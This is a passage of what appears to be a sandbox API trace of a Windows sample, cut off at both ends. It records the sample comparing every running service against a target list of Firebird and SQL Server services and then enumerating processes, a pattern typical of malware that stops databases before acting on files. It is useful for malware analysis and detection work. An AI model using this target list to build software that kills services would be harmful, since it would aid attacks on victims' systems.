lstrlenW (lpString="DeviceAssociationService") returned 24 [0293.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0293.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0293.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0293.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0293.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0293.658] lstrlenW (lpString="Dhcp") returned 4 [0293.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0293.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0293.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0293.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0293.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0293.658] lstrlenW (lpString="Dnscache") returned 8 [0293.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0293.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0293.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0293.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0293.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0293.658] lstrlenW (lpString="DPS") returned 3 [0293.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0293.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0293.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0293.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0293.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0293.658] lstrlenW (lpString="DusmSvc") returned 7 [0293.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0293.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0293.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0293.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0293.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0293.659] lstrlenW (lpString="EventLog") returned 8 [0293.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0293.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0293.659] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0293.659] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0293.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0293.659] lstrlenW (lpString="EventSystem") returned 11 [0293.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0293.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0293.659] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0293.659] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0293.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0293.659] lstrlenW (lpString="FontCache") returned 9 [0293.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0293.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0293.659] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0293.659] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0293.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0293.659] lstrlenW (lpString="gpsvc") returned 5 [0293.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0293.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0293.659] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0293.659] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0293.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0293.659] lstrlenW (lpString="iphlpsvc") returned 8 [0293.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0293.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0293.660] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0293.660] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0293.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0293.660] lstrlenW (lpString="KeyIso") returned 6 [0293.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0293.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0293.660] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0293.660] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0293.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0293.660] lstrlenW (lpString="LanmanServer") returned 12 [0293.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0293.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0293.660] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0293.660] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0293.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0293.660] lstrlenW (lpString="LanmanWorkstation") returned 17 [0293.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0293.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0293.660] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0293.660] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0293.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0293.660] lstrlenW (lpString="lfsvc") returned 5 [0293.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0293.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0293.660] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0293.660] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0293.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0293.661] lstrlenW (lpString="lmhosts") returned 7 [0293.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0293.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0293.661] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0293.661] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0293.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0293.661] lstrlenW (lpString="LSM") returned 3 [0293.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0293.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0293.661] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0293.661] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0293.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0293.661] lstrlenW (lpString="MpsSvc") returned 6 [0293.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0293.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0293.661] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0293.661] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0293.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0293.661] lstrlenW (lpString="NcbService") returned 10 [0293.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0293.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0293.661] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0293.661] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0293.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0293.661] lstrlenW (lpString="netprofm") returned 8 [0293.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0293.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0293.662] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0293.662] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0293.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0293.662] lstrlenW (lpString="NgcSvc") returned 6 [0293.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0293.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0293.662] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0293.662] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0293.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0293.662] lstrlenW (lpString="NlaSvc") returned 6 [0293.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0293.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0293.662] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0293.662] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0293.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0293.662] lstrlenW (lpString="nsi") returned 3 [0293.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0293.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0293.662] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0293.662] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0293.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0293.662] lstrlenW (lpString="PcaSvc") returned 6 [0293.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0293.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0293.662] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0293.662] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0293.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0293.663] lstrlenW (lpString="PlugPlay") returned 8 [0293.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0293.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0293.663] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0293.663] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0293.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0293.663] lstrlenW (lpString="Power") returned 5 [0293.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0293.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0293.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0293.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0293.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0293.663] lstrlenW (lpString="ProfSvc") returned 7 [0293.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0293.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0293.663] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0293.663] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0293.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0293.663] lstrlenW (lpString="RpcEptMapper") returned 12 [0293.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0293.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0293.663] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0293.663] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0293.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0293.663] lstrlenW (lpString="RpcSs") returned 5 [0293.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0293.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0293.664] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0293.664] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0293.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0293.664] lstrlenW (lpString="SamSs") returned 5 [0293.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0293.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0293.664] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0293.664] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0293.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0293.664] lstrlenW (lpString="Schedule") returned 8 [0293.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0293.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0293.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0293.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0293.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0293.664] lstrlenW (lpString="SecurityHealthService") returned 21 [0293.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0293.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0293.664] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0293.664] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0293.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0293.664] lstrlenW (lpString="SENS") returned 4 [0293.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0293.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0293.664] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0293.665] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0293.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0293.665] lstrlenW (lpString="ShellHWDetection") returned 16 [0293.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0293.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0293.665] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0293.665] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0293.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0293.665] lstrlenW (lpString="Spooler") returned 7 [0293.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0293.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0293.665] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0293.665] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0293.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0293.665] lstrlenW (lpString="StateRepository") returned 15 [0293.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0293.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0293.665] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0293.665] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0293.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0293.665] lstrlenW (lpString="SysMain") returned 7 [0293.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0293.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0293.665] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0293.665] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0293.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0293.665] lstrlenW (lpString="SystemEventsBroker") returned 18 [0294.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0294.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0294.165] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0294.165] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0294.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0294.165] lstrlenW (lpString="Themes") returned 6 [0294.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0294.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0294.165] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0294.165] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0294.165] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0294.165] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0294.165] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0294.165] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0294.165] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0294.165] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0294.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x460c0e0 | out: hHeap=0x640000) returned 1 [0294.165] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x574 [0294.169] Process32FirstW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.170] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0294.171] lstrlenW (lpString="System") returned 6 [0294.171] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0294.172] lstrlenW (lpString="smss.exe") returned 8 [0294.172] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.173] lstrlenW (lpString="csrss.exe") returned 9 [0294.173] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0294.174] lstrlenW (lpString="wininit.exe") returned 11 [0294.174] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.175] lstrlenW (lpString="csrss.exe") returned 9 [0294.175] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0294.176] lstrlenW (lpString="winlogon.exe") returned 12 [0294.176] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0294.177] lstrlenW (lpString="services.exe") returned 12 [0294.177] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0294.193] lstrlenW (lpString="lsass.exe") returned 9 [0294.193] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0294.194] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0294.194] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0294.194] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0294.195] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.195] lstrlenW (lpString="svchost.exe") returned 11 [0294.195] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.196] lstrlenW (lpString="svchost.exe") returned 11 [0294.196] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0294.197] lstrlenW (lpString="dwm.exe") returned 7 [0294.198] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.198] lstrlenW (lpString="svchost.exe") returned 11 [0294.198] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.199] lstrlenW (lpString="svchost.exe") returned 11 [0294.199] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.200] lstrlenW (lpString="svchost.exe") returned 11 [0294.200] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.200] lstrlenW (lpString="svchost.exe") returned 11 [0294.201] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.201] lstrlenW (lpString="svchost.exe") returned 11 [0294.201] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.202] lstrlenW (lpString="svchost.exe") returned 11 [0294.202] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.203] lstrlenW (lpString="svchost.exe") returned 11 [0294.203] Process32NextW (in: hSnapshot=0x574, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.204] lstrlenW (lpString="svchost.exe") returned 11 [0294.204] Process32NextW (in: hSnapshot=0x574, 